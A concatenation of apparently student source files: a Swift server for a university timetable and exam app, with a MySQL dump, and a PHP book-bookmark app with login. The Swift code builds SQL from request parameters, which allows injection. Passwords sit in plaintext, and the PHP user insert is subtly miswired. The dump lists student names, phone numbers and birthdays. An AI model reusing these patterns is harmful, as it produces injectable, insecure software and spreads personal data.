xx-xx-xx)" response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() } } fileprivate func phaseParams(params:[(String,String)]){ for i in 0..<params.count{ user_info.setObject(params[i].1, forKey: NSString(string: params[i].0)) } } fileprivate func paramsValid() -> Bool{ let time = user_info["time"] as? String if time == nil || time == ""{ return false } return true } <file_sep>-- MySQL dump 10.13 Distrib 5.7.16, for osx10.11 (x86_64) -- -- Host: localhost Database: edu -- ------------------------------------------------------ -- Server version 5.7.16 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `course` -- DROP TABLE IF EXISTS `course`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `course` ( `id` int(11) NOT NULL AUTO_INCREMENT, `c_num` char(20) NOT NULL, `c_name` char(100) NOT NULL, `time` int(11) NOT NULL, `place` char(30) NOT NULL, `teacher` char(25) NOT NULL, `exam_time` int(11) DEFAULT NULL, `exam_place` char(30) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `c_num` (`c_num`) ) ENGINE=InnoDB AUTO_INCREMENT=19 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `course` -- LOCK TABLES `course` WRITE; /*!40000 ALTER TABLE `course` DISABLE KEYS */; INSERT INTO `course` VALUES (0,'cx1002','复变函数',21,'7教215','忽必烈',51,'3教115'),(1,'av2001','微积分',12,'8教315','唐国强',72,'12教214'),(2,'mm6001','理论力学',5,'6教中307','蔡元培',62,'7教312'),(3,'av2113','美声学',4,'杭电大剧院','葛平、元首',29,'11教119'),(5,'vx1002','音乐鉴赏',12,'12教301','嬴政',13,'3教111'),(6,'av1101','iOS开发入门',3,'6教北112','李世民',3,'6教北220'),(7,'av2002','算法导论',18,'7教212','梁非凡',7,'12教114'),(8,'bx6633','论语与孔子',2,'7教212','王朗',15,'6教中313'),(9,'ss6214','马克思主义哲学导论',6,'6教北118','林冲',1,'3教213'),(10,'bv6633','离散数学',11,'3教321','葛平',24,'7教220'),(11,'av3310','c++面向对象编程',13,'3教315','王熙凤',42,'7教311'),(12,'av1121','编译原理',10,'6教221','林黛玉',17,'6教北120'),(13,'av2222','网络编程',15,'1教115','苏菲',54,'6教中221'),(14,'av4001','计算机组成原理',14,'3教221','吕不韦',32,'7教320'),(15,'av2211','数据结构',22,'6教中121','白雪',10,'3教215'),(16,'hd1001','道德经解读',16,'12教312','王弼',9,'6教北312'),(17,'td2222','战国史',8,'12教114','轮子哥',21,'七教南221'),(18,'cv1331','计算机操作系统',1,'10教535','富勒',49,'6教北212'); /*!40000 ALTER TABLE `course` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `stucou` -- DROP TABLE IF EXISTS `stucou`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `stucou` ( `id` int(11) NOT NULL AUTO_INCREMENT, `s_num` int(11) NOT NULL, `c_num` char(20) NOT NULL, `score` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `stucou` -- LOCK TABLES `stucou` WRITE; /*!40000 ALTER TABLE `stucou` DISABLE KEYS */; INSERT INTO `stucou` VALUES (1,13201119,'cx1002',12),(2,13201119,'av2001',100),(3,13201119,'av1101',3),(4,13201119,'av2002',99),(5,13201119,'bv6633',85),(6,13201119,'bx6633',90),(7,13201119,'ss6214',61),(8,13201119,'av1121',76),(9,13201119,'av2222',81),(10,13201119,'av4001',77),(11,13201119,'hd1001',90),(12,13201119,'av2113',81),(13,13201119,'td2222',31),(14,13201119,'cv1331',60); /*!40000 ALTER TABLE `stucou` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `student` -- DROP TABLE IF EXISTS `student`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `student` ( `id` int(11) NOT NULL AUTO_INCREMENT, `s_num` int(11) NOT NULL DEFAULT '0', `s_name` varchar(20) NOT NULL DEFAULT '', `sex` enum('男','女') DEFAULT NULL, `phone_number` varchar(15) DEFAULT NULL, `start_time` date DEFAULT NULL, `birthday` date DEFAULT NULL, `speciality` char(50) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `s_num` (`s_num`), UNIQUE KEY `s_num_2` (`s_num`), UNIQUE KEY `s_num_3` (`s_num`), UNIQUE KEY `s_num_4` (`s_num`) ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `student` -- LOCK TABLES `student` WRITE; /*!40000 ALTER TABLE `student` DISABLE KEYS */; INSERT INTO `student` VALUES (1,13201119,'郭晓龙','男','18969054032','2013-09-12','1993-07-27','计算机科学与技术'),(2,13201120,'胡启超','男','13588027804','2013-09-12','1994-04-22','环境工程'),(3,13201118,'高熙覃','男','13588027734','2013-09-15','1994-07-15','机设设计制造及其自动化'); /*!40000 ALTER TABLE `student` ENABLE KEYS */; UNLOCK TABLES; -- -- Temporary view structure for view `stujoincou` -- DROP TABLE IF EXISTS `stujoincou`; /*!50001 DROP VIEW IF EXISTS `stujoincou`*/; SET @saved_cs_client = @@character_set_client; SET character_set_client = utf8; /*!50001 CREATE VIEW `stujoincou` AS SELECT 1 AS `s_num`, 1 AS `score`, 1 AS `c_num`, 1 AS `c_name`, 1 AS `time`, 1 AS `place`, 1 AS `teacher`, 1 AS `exam_time`, 1 AS `exam_place`*/; SET character_set_client = @saved_cs_client; -- -- Table structure for table `user` -- DROP TABLE IF EXISTS `user`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `u_name` varchar(20) NOT NULL, `u_pass` varchar(20) NOT NULL, `role` enum('teacher','student') NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `user` -- LOCK TABLES `user` WRITE; /*!40000 ALTER TABLE `user` DISABLE KEYS */; INSERT INTO `user` VALUES (1,'13201118','gghhii','student'),(2,'13201119','aabbcc','student'); /*!40000 ALTER TABLE `user` ENABLE KEYS */; UNLOCK TABLES; -- -- Final view structure for view `stujoincou` -- /*!50001 DROP VIEW IF EXISTS `stujoincou`*/; /*!50001 SET @saved_cs_client = @@character_set_client */; /*!50001 SET @saved_cs_results = @@character_set_results */; /*!50001 SET @saved_col_connection = @@collation_connection */; /*!50001 SET character_set_client = utf8 */; /*!50001 SET character_set_results = utf8 */; /*!50001 SET collation_connection = utf8_general_ci */; /*!50001 CREATE ALGORITHM=UNDEFINED */ /*!50013 DEFINER=`ufogxl`@`127.0.0.1` SQL SECURITY DEFINER */ /*!50001 VIEW `stujoincou` AS select `stucou`.`s_num` AS `s_num`,`stucou`.`score` AS `score`,`course`.`c_num` AS `c_num`,`course`.`c_name` AS `c_name`,`course`.`time` AS `time`,`course`.`place` AS `place`,`course`.`teacher` AS `teacher`,`course`.`exam_time` AS `exam_time`,`course`.`exam_place` AS `exam_place` from (`stucou` join `course`) where (`stucou`.`c_num` = `course`.`c_num`) */; /*!50001 SET character_set_client = @saved_cs_client */; /*!50001 SET character_set_results = @saved_cs_results */; /*!50001 SET collation_connection = @saved_col_connection */; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2016-12-27 10:39:30 <file_sep>// // File.swift // GoodStudent // // Created by ufogxl on 2016/12/12. // // import Foundation import PerfectLib import PerfectHTTP import MySQL import ObjectMapper fileprivate let container = ResponseContainer() fileprivate let errorContent = ErrorContent() fileprivate var user_info = NSDictionary() func getAllExam(_ request:HTTPRequest,response:HTTPResponse){ let params = request.params() phaseParams(params: params) if !paramsValid(){ errorContent.code = ErrCode.ARGUMENT_ERROR.hashValue container.data = errorContent container.result = false container.message = "参数错误" response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() return } if let exams = makeAllExams(){ container.data = exams container.result = true container.message = "获取成功!" }else{ errorContent.code = ErrCode.SERVER_ERROR.hashValue container.data = errorContent container.result = false container.message = "获取失败,稍后再试!" } response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() } fileprivate func phaseParams(params: [(String,String)]){ let info = NSMutableDictionary() for pair in params{ info.setObject(pair.1, forKey: NSString(string:pair.0)) } user_info = info as NSDictionary } fileprivate func makeAllExams() -> AllExams?{ let exams = AllExams() var examInfo = [Exam]() let mysql = MySQL() let connected = mysql.connect(host: db_host, user: db_user, password: <PASSWORD>, db: database,port:db_port) guard connected else { print(mysql.errorMessage()) return nil } defer { mysql.close() } let statement = "SELECT c_name,exam_time,exam_place FROM stujoincou WHERE s_num=\(Int(user_info["username"] as! String)!) and exam_time>=\(getWhichExam()) order by exam_time" let querySuccess = mysql.query(statement: statement) guard querySuccess else{ return nil } let results = mysql.storeResults()! while let row = results.next(){ let exam = Exam() exam.name = row[0]! exam.time = getExamTime(Int(row[1]!)!) exam.place = row[2]! examInfo.append(exam) } exams.exams = examInfo return exams } fileprivate func paramsValid() -> Bool{ return true } <file_sep>// // getFullTimeTable.swift // GoodStudent // // Created by ufogxl on 2016/12/2. // // 可以用来获取整张课程表:) import Foundation import PerfectLib import PerfectHTTP import MySQL import ObjectMapper fileprivate let container = ResponseContainer() fileprivate let errorContent = ErrorContent() fileprivate var user_info = NSDictionary() func getTimeTable(_ request:HTTPRequest,response:HTTPResponse){ let params = request.params() phaseParams(params: params) if !paramsValid(){ let errorStr = "参数错误" errorContent.code = ErrCode.ARGUMENT_ERROR.hashValue container.message = errorStr container.data = errorContent container.result = false response.appendBody(string:container.toJSONString(prettyPrint: true)!) response.completed() return } if let timeTable = getTimeTable(){ container.data = timeTable container.result = true container.message = "获取成功!" response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() }else{ errorContent.code = ErrCode.SERVER_ERROR.hashValue errorContent.message = "服务器异常,请稍后再试!" container.data = errorContent container.result = false container.message = "获取成功!" response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() } } fileprivate func phaseParams(params:[(String,String)]){ let info = NSMutableDictionary() for pair in params{ info.setObject(pair.1, forKey: NSString(string:pair.0)) } user_info = info as NSDictionary } fileprivate func paramsValid() -> Bool{ return true } fileprivate func getTimeTable() -> TimeTable?{ var table = [Course]() let timetable = TimeTable() let mysql = MySQL() let connected = mysql.connect(host: db_host, user: db_user, password: <PASSWORD>, db: database, port: db_port) guard connected else { print(mysql.errorMessage()) return nil } defer { mysql.close() } var courses = [Course]() let weekday = Int(user_info["weekday"] as! String)! let statement = "select c_num,c_name,time,place,teacher from (select * from stujoincou where time between \((weekday-1) * 5 + 1) and \((weekday - 1) * 5 + 5)) as xx where s_num=\(user_info["username"] as! String) order by time" let querySuccess = mysql.query(statement: statement) guard querySuccess else { return nil } let results = mysql.storeResults() while let row = results?.next(){ let course = Course() course.num = row[0]! course.name = row[1]! course.time = getClassTime(which: Int(row[2]!)!) course.place = row[3]! course.teacher = row[4]! courses.append(course) } timetable.table = courses timetable.week = time.numberOfWeek return timetable } <file_sep>// // File.swift // GoodStudent // // Created by ufogxl on 2016/12/12. // // import Foundation import ObjectMapper class AllExams:ResponseContainer{ public required init?(map: Map) { super.init(map: map) } var exams:[Exam]? override init(){ super.init() } override func mapping(map: Map) { exams <- map["exams"] } } <file_sep>// // getTime.swift // GoodStudent // // Created by ufogxl on 2016/11/26. // // import Foundation //用来标示时间的全局变量 var time = Time() struct Time{ var numberOfWeek:Int! var numberOfClass:Int! var presentedTime:String! var date:Date! init() { numberOfWeek = 1 numberOfClass = 1 presentedTime = "2016年9月12日 星期一" date = getStartTime(date: "2016-09-12 00:00:00") } } func getClassTime(which: Int) -> String{ switch which%5 { case 1: return "8:05-9:40" case 2: return "10:00-12:25" case 3: return "13:30-15:05" case 4: return "15:15-16:35" case 0: return "18:30-20:00" default: return "未知" } } func getStartTime(date:String) -> Date?{ //假设本学期第一周的周一为初始时间 let formatter = DateFormatter() formatter.dateFormat = "yyy-MM-dd HH:mm:ss" let START_TIME = formatter.date(from: date) return Date(timeInterval: TimeInterval(NSTimeZone.system.secondsFromGMT(for: START_TIME!)), since: START_TIME!) } func getExamTime(_ examNumber:Int) -> String{ let day = examNumber/3 let interVal = day * 24 * 3600 let examDay = Date(timeInterval: TimeInterval(interVal), since: getStartTime(date: "2017-01-02 00:00:00")!) let formatter = DateFormatter() formatter.dateFormat = "yyyy-MM-dd" let dayString = formatter.string(from: examDay as Date) var timeString = "" switch examNumber%3{ case 0: timeString = "18:00-20:00" case 1: timeString = "9:00-11:00" case 2: timeString = "15:00-17:00" default: timeString = "未知" } return dayString + " " + timeString } func getWhichExam() -> Int{ let interval = Int(time.date.timeIntervalSince(getStartTime(date: "2017-01-02 00:00:00")!)) + 8 * 3600 let dayCount = interval / 24 / 3600 let minCount = interval / 60 - dayCount * 24 * 60 let base = dayCount * 3 switch minCount{ case 0..<11 * 60: return base + 1 case 11 * 60..<17 * 60: return base + 2 case 17 * 60..<20 * 60: return base + 3 default: return base + 4 } } func setTime(_ inputDate:String) -> Bool{ let formatter = DateFormatter() formatter.dateFormat = "yyy-MM-dd HH:mm:ss" formatter.timeZone = NSTimeZone.system if let date = formatter.date(from: inputDate){ let interval = Int(date.timeIntervalSince(getStartTime(date: "2016-09-12 00:00:00")!)) + 8 * 3600 //总分钟数 let min = interval/60 //总小时数 let h = min/60 //总天数 let day = h/24 var numberOfClass = 0 let basic = day % 7 * 5 switch day % 7{ case 0...4: switch h % 24 * 60 + min % 60 { case 0..<9 * 60 + 40: numberOfClass = basic + 1 case 9 * 60 + 40..<12 * 60 + 25: numberOfClass = basic + 2 case 12 * 60 + 25..<15 * 60 + 5: numberOfClass = basic + 3 case 15 * 60 + 5..<16 * 60 + 45: numberOfClass = basic + 4 case 16 * 60 + 45..<20 * 60 + 5: numberOfClass = basic + 5 default: numberOfClass = 26 } default: numberOfClass = 26 } let description = date.description(with: Locale(identifier: "zh")) let array = description.components(separatedBy: " ") time.numberOfWeek = day/7 + 1 time.numberOfClass = numberOfClass time.presentedTime = array[0] + " " + array[1] time.date = date return true }else{ return false } } <file_sep>// // getCollegeNews.swift // GoodStudent // // Created by ufogxl on 2016/12/20. // // import PerfectLib import PerfectHTTP import cURL import PerfectCURL import Kanna import Foundation fileprivate var contents:[News] = [] fileprivate let collegeNews = CollegeNews() fileprivate let container = ResponseContainer() fileprivate var user_info = NSDictionary() func getCollegeNews(_ request:HTTPRequest,response:HTTPResponse){ let params = request.params() phaseParams(params: params) contents = [] var url = "http://computer.hdu.edu.cn/index.php/list/57" var returnFront = true if let page = Int(user_info["page"] as! String){ if page > 1{ if page % 2 == 0{ url = url + "?page=\(page/2)" returnFront = false }else{ url = url + "?page=\((page + 1)/2)" } } } let curlObj = CURL(url: url) curlObj.setOption(CURLOPT_HTTPGET, int:1) curlObj.setOption(CURLOPT_HTTPHEADER, s: "Content-Type: text/html") var html = "" curlObj.perform { code, header, body in if let str = String(bytes:body, encoding:String.Encoding.utf8){ html = str } if let doc = HTML(html: html, encoding: .utf8) { // Search for nodes by CSS for link in doc.css("div") { if link.className == "sub_right"{ if let doc = HTML(html:link.innerHTML!,encoding:.utf8){ for link in doc.css("li"){ if let doc = HTML(html:link.innerHTML!,encoding:.utf8){ if let link = doc.css("span").first{ let content = News() content.title = doc.css("a").first?.text content.uri = doc.css("a").first?["href"] content.time = link.text contents.append(content) } } } } } } } if returnFront{ for _ in 0..<10{ contents.removeLast() } }else{ for _ in 0..<10{ contents.removeFirst() } } collegeNews.newsList = contents container.data = collegeNews container.message = "xxxx" container.result = true response.appendBody(string: container.toJSONString(prettyPrint: true)!) response.completed() } } fileprivate func phaseParams(params: [(String,String)]){ let info = NSMutableDictionary() for i in 0..<params.count{ info.setObject(params[i].1, forKey: NSString(string: params[i].0)) } user_info = info as NSDictionary } <file_sep>// // CollegeNews.swift // GoodStudent // // Created by ufogxl on 2016/12/20. // // import Foundation import ObjectMapper class CollegeNews:ResponseContainer{ var newsList:[News]? required init?(map: Map) { super.init(map: map) } override init(){ super.init() } override func mapping(map: Map) { super.mapping(map: map) newsList <- map["newsList"] } } class SchoolNews:ResponseContainer{ var newsList:[News]? required init?(map: Map) { super.init(map: map) } override init(){ super.init() } override func mapping(map: Map) { super.mapping(map: map) newsList <- map["newsList"] } } class News:Mappable{ public required init?(map: Map) { } init() { } var title:String? var uri:String? var time:String? func mapping(map: Map) { title <- map["title"] uri <- map["uri"] time <- map["time"] } } <file_sep>// // ErrorContent.swift // GoodStudent // // Created by ufogxl on 16/11/12. // // import Foundation import ObjectMapper class ErrorContent:ResponseContainer{ var code:Int! required init?(map: Map) { super.init() } override init() { super.init() } override func mapping(map: Map) { super.mapping(map: map) code <- map["code"] } } enum ErrCode { case ARGUMENT_ERROR //参数异常 case NO_SUCH_USER //无此用户 case PASSWORD_ERROR //用户名或密码错误 case SERVER_ERROR //服务器异常 }
580ce977a6ec47558f08c475f33ac07bc26ea488
[ "Swift", "SQL", "Markdown" ]
21
Swift
ufogxl/MySQLTest
c7e732e2729d623468fda6ef21dfa480dc512899
25f0dc0b696a59566708512734c8f3e178154b33
refs/heads/master
<file_sep><?php //1.POSTデータ取得 $name = $_POST["name"]; $lid = $_POST["lid"]; $lpw = $_POST["lpw"]; //2.DB接続します include("funcs.php"); $pdo = abc_conn(); //3.データ登録SQL作成 $stmtp = $pdo->prepare("INSERT INTO gs_bm_user_table(name,lid,lpw)VALUES(:name,:lid,:lpw)"); $stmtp->bindValue(':name', $name, PDO::PARAM_STR); $stmtp->bindValue(':url', $lpw, PDO::PARAM_STR); $stmtp->bindValue(':lpw', $lid, PDO::PARAM_STR); $statusp = $stmtp->execute(); //4.データ登録処理後 if($statusp==false){ sqlError($stmtp); }else{ //5.index.phpへリダイレクト $page = "user.index.php"; redirect("user.index.php"); } ?><file_sep><?php include "funcs.php"; $pdo = abc_conn(); $stmtp = $pdo->prepare("SELECT * FROM gs_bm_user_table"); $statusp = $stmtp ->execute(); $view = ""; if ($statusp == false){ sqlError($stmtp); } else { while($result = $stmtp->fetch(PDO::FETCH_ASSOC)){ $view .='<tr>'; $view .='<a href="user.detail.php?id='.$result["id"].'">'; $view .='<td>'.$result["lid"].'</td>'.",".$result["lpw"]; $view .='</a>'; $view .=' '; $view .='<td>'; $view .='<a href="user.delete.php?id='.$result["id"].'">'; $view .= '[delete]'; $view .='</a>'; $view .='<td>'; $view .='</tr>'; } } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>kanri</title> <link rel="stylesheet" href="css/range.css"> <link href="css/bootstrap.min.css" rel="stylesheet"> <style>div{padding: 10px;font-size:16px;}</style> </head> <body id="main"> <!-- Head[Start] --> <header> <nav class="navbar navbar-default"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="login.practice.php">log in</a> </div> </div> </nav> </header> <!-- Head[End] --> <!-- Main[Start] --> <div> <div class="container jumbotron"><?=$view?></div> </div> <!-- Main[End] --> </body> </html> <file_sep><?php //rand(min,max); $n = rand(1,2); if($n == 1){ echo"OK"; }else{ echo"NG"; } ?><file_sep> -- 課題:SQL作成 -- -- 1. SELECT文を使って、"id" 「1,3,5」だけ抽出するSQLを作る SELECT * FROM gs_an_table WHERE id = 1 or id = 3 or id = 5; -- 2. SELECT文を使って、"id" 「4〜8」を抽出するSQLを作る SELECT * FROM gs_an_table LIMIT 3,5; -- 3. SELECT文を使って、"email"「 test1」を抽出するあいまい検索を作る SELECT * FROM gs_an_table WHERE email LIKE <EMAIL>'; -- 4. SELECT文を使って、"新しい日付順"にソートするSQLを作る。 SELECT * FROM gs_an_table ORDER BY indate DESC; -- 5. SELECT文を使って、"age"「20」で"indate"「2017-05-26%」のデータを抽出するSQLを作る(ageカラムが無ければ作る[値:10,20,30,40]をテストデータとして入れる) -- NO ANSWER -- 6. SELECT文を使って、"新しい日付順"で、「5個」だけ取得するSQLを作る SELECT * FROM gs_an_table ORDER BY indate DESC LIMIT 5; -- 7. (難問題) "age"で「GROUP BY 」使い10,20,30,40歳が各何人知るか抽出するSQLを作る -- NO ANSWER  -- 課題テーブル仕様 -- INSERT INTO gs_bm_table(book_name,book_url,comments,indate)Value(:book_name,:book_url,:comments,sysdate()) INSERT INTO gs_bm_table(book_name,book_url,comments,indate)Value('GRIT','https://www.amazon.co.jp/やり抜く力-GRIT-グリット-――人生のあらゆる成功を決める「究極の能力」を身につける-アンジェラ・ダックワース','成功への鍵は、才能と努力ではなく『やり抜く力』',sysdate()) INSERT INTO gs_bm_table(book_name,book_url,comments,indate)Value('ZERO to ONE','https://www.amazon.co.jp/Zero-One-Notes-Startups-Future','Paypal創業者兼投資家ピーター・ティールによるゼロイチビジネス書',sysdate()) INSERT INTO gs_bm_table(book_name,book_url,comments,indate)Value('','','',sysdate()) <file_sep><?php //共通に使う関数を記述 function h($a) { return htmlspecialchars($a, ENT_QUOTES); } function abc_conn(){ try { $pdo = new PDO('mysql:dbname=gs_abc;charset=utf8;host=localhost','root',''); return $pdo; } catch (PDOException $e) { exit('DB-Connection-Error:'.$e->getMessage()); } } function sqlerror($stmtp){ $error = $stmtp->errorInfo(); exit("ErrorSQL:".$error[2]); } function redirect($page){ header("Location:".$page); exit; } <file_sep><?php $name = $_POST["name"]; $lid = $_POST["lid"]; $lpw = $_POST["lpw"]; // $id = $_POST["id"]; include "funcs.php"; $pdo = abc_conn(); $sql ="UPDATE gs_bm_user_table SET name=:name,lid=:lid,lpw=:lpw WHERE id=:id"; $stmtp = $pdo->prepare($sql); $stmtp->bindValue(':name', $name, PDO::PARAM_STR); //Integer(数値の場合 PDO::PARAM_INT) $stmtp->bindValue(':lid', $lid, PDO::PARAM_STR); //Integer(数値の場合 PDO::PARAM_INT) $stmtp->bindValue(':lpw', $lpw, PDO::PARAM_STR); //Integer(数値の場合 PDO::PARAM_INT) $stmtp->bindValue(':id', $id, PDO::PARAM_INT); //Integer(数値の場合 PDO::PARAM_INT) $statusp = $stmtp->execute(); if ($statusp == false) { sqlError($stmtp); } else { header("Location: user.select.php"); exit; } ?><file_sep><html> <head> <meta charset="utf-8"> <title>File書き込み</title> </head> <body> 記載OK!<br> <?php $name = $_POST["name"]; $mail = $_POST["mail"]; $answer1 = $_POST["answer1"]; $answer2 = $_POST["answer2"]; $answer3 = $_POST["answer3"]; //文字作成 $str = date("Y-m-d H:i:s").",".$name.",".$mail.",".$answer1.",".$answer2.",".$answer3; //配列 // $str_base = explode("," , $str); // var_dump($str_base); //File書き込み $file = fopen("data/data.practice.txt","a");//ファイル読み込み fwrite($file, $str."\r\n");//"."は"+"と同じ意味。"\n"は改行コード fclose($file); ?> <ul> <li><a href="#">戻る</a></li> </ul> </body> </html><file_sep><?php //1.POSTデータ取得 $bname = $_POST["book_name"]; $burl = $_POST["book_url"]; $comm = $_POST["comments"]; $id = $_POST["id"]; //2.DB接続します include("funcs.php"); $pdo = abc_conn(); //3.データ登録SQL作成 $sql ="UPDATE gs_bm_table SET book_name=:book_name, book_url=:book_url, comments=:comments WHERE id=:id"; $stmtp = $pdo->prepare($sql); $stmtp->bindValue(':book_name', $bname, PDO::PARAM_STR); $stmtp->bindValue(':book_url', $burl, PDO::PARAM_STR); $stmtp->bindValue(':comments', $comm, PDO::PARAM_STR); $stmtp->bindValue(':id', $id, PDO::PARAM_INT); $statusp = $stmtp->execute(); //4.データ登録処理後 if($statusp==false){ sqlError($stmtp); }else{ header("Location: select.practice.php"); exit; } ?> ?><file_sep><?php echo"ABC"; //echo"ABC"; //echo date("Y-m-d H:i:s"); //時間表示 // phpinfo(); ?><file_sep><?php $id = $_GET["id"]; include "funcs.php"; $pdo =abc_conn(); $sql = "DELETE FROM gs_bm_table WHERE id=:id"; $stmtp =$pdo->prepare($sql); $stmtp->bindValue(':id',$id, PDO::PARAM_INT); $statusp = $stmtp->execute(); if($statusp == false){ sqlError($stmtp); }else{ header("Location: select.practice.php"); exit; } ?><file_sep><?php // 最初にSESSIONを開始!! session_start(); // 0.外部ファイルを読み込み include("funcs.php"); $lid = $_POST["lid"]; $lpw = $_POST["lpw"]; // 1.DB接続します $pdo = abc_conn(); // 2.データ登録SQL作成 $sql = "SELECT * FROM gs_bm_user_table WHERE lid=:lid AND lpw=:lpw AND life_flg=0"; $stmtp = $pdo->prepare($sql); $stmtp->bindValue(':lid', $lid, PDO::PARAM_STR); $stmtp->bindValue(':lpw', $lpw, PDO::PARAM_STR); $res = $stmtp->execute(); // 3.SQL実行時にエラーが有る場合 if($res==false){ $error = $stmtp->errorInfo(); exit("QueryError:".$error[2]); } // 4.抽出データ数を取得 $val = $stmtp->fetch(); // 5.該当レコードがあればSESSIONに値を代入(全角スペースを気をつける!) if( $val["id"] !=""){ $_SESSION["chk_ssid"] = session_id(); $_SESSION["kanri_flg"] = $val['kanri_flg']; $_SESSION["name"] = $val['name']; header("Location: select.practice.php"); } else{ // logout処理を経由して全画面へ(「:」のあとは必ずスペース) header("Location: login.practice.php"); } exit(); ?><file_sep><?php session_start(); //1. DB接続します include "funcs.php"; $pdo = abc_conn(); sessChk(); //2. データ登録SQL作成 $stmtp = $pdo->prepare("SELECT * FROM gs_bm_table"); $statusp = $stmtp->execute(); //3. データ表示 $view=""; if($statusp==false){ sqlError($stmtp); }else{ while($res = $stmtp ->fetch(PDO::FETCH_ASSOC)){ $view .='<tr>'; $view .='<td>'; if($_SESSION["kanri_flg"]=="1"){ $view .='<a href="detail.practice.php?id='.$res["id"].'" class="phph">'; $view.=$res['book_name'].'</td><td>'.$res['book_url'].'</td><td>'.$res['comments'].'</td>'; $view .='</a>'; } $view .='</td>'; $view .=' '; $view .='<td>'; if($_SESSION["kanri_flg"]=="1"){ $view .='<a href="delete.practice.php?id='.$res["id"].'" class="phph">'; $view .='[Delete]'; $view .='</a>'; }else{ $view.=$res['book_name'].'</td><td>'.$res['book_url'].'</td><td>'.$res['comments'].'</td>'; } $view .='</td>'; $view .='</tr>'; } } // // ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>本棚</title> <link rel="stylesheet" href="css/php.css"> <link rel="stylesheet" href="css/range.css"> <link rel="stylesheet" href="css/bootstrap.min.css"> <style>div{padding: 10px;font-size:13px;}</style> </head> <header> <nav class="navbar navbar-default"> <div class="container-fluid"> <div class="navbar-header"> <?php echo $_SESSION["name"]; ?> <a class="navbar-brand" href="logout.practice.php">Log out</a> </div> </div> </nav> </header>; <body id="main"> <!-- Head --> <header> <nav class="navbar navbar-default"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.practice.php">[ Book Management ]</a> </div> </div> </nav> </header> <!--/Head --> <!-- Main --> <div> <table border="3"> <tr class="ph"> <th>Book Name</th> <th>Book URL</th> <th>Comments</th> <th> </th> </tr> <tr> <td><?php echo $view;?></td> </tr> </table> </div> <!-- /Main --> </body> </html><file_sep><?php //array = array("A","B","C","D"); //var_dump($array); // $str = "PHP5_PHP6_PHP7_PHP5"; // $s = str_replace("PHP5","PHP5.5",$str); // echo $s; $s = "A,B,C,D,E,F"; $str = explode(",",$s); //explodeは配列で使う var_dump($str); ?><file_sep><?php function h($s){ $h = htmlspecialchars($s,ENT_QUOTES); return $h; } ?><file_sep><html> <head> <meta charset="utf-8"> <title>データ表示</title> </head> <body> アンケート結果<br> <?php //File読み込み $filename = "data/data.practice.txt"; $fp = fopen($filename,"r");//ファイル読み込み while(!feof($fp)){ $txt = fgets($fp); echo $txt."<br>"; } fclose($fp); // fwrite($file, $str."\r\n");//"."は"+"と同じ意味。"\n"は改行コード // fclose($file); ?> <ul> <li><a href="#">戻る</a></li> </ul> </body> </html><file_sep>INSERT INTO 'gs_bm_user_table'('id','name','lid','lpw','kanri_flg','life_flg') VALUES (1, 'supervisor', 'test1', 'test1', 1, 0), (2, 'tester', 'test2', 'test2', 0, 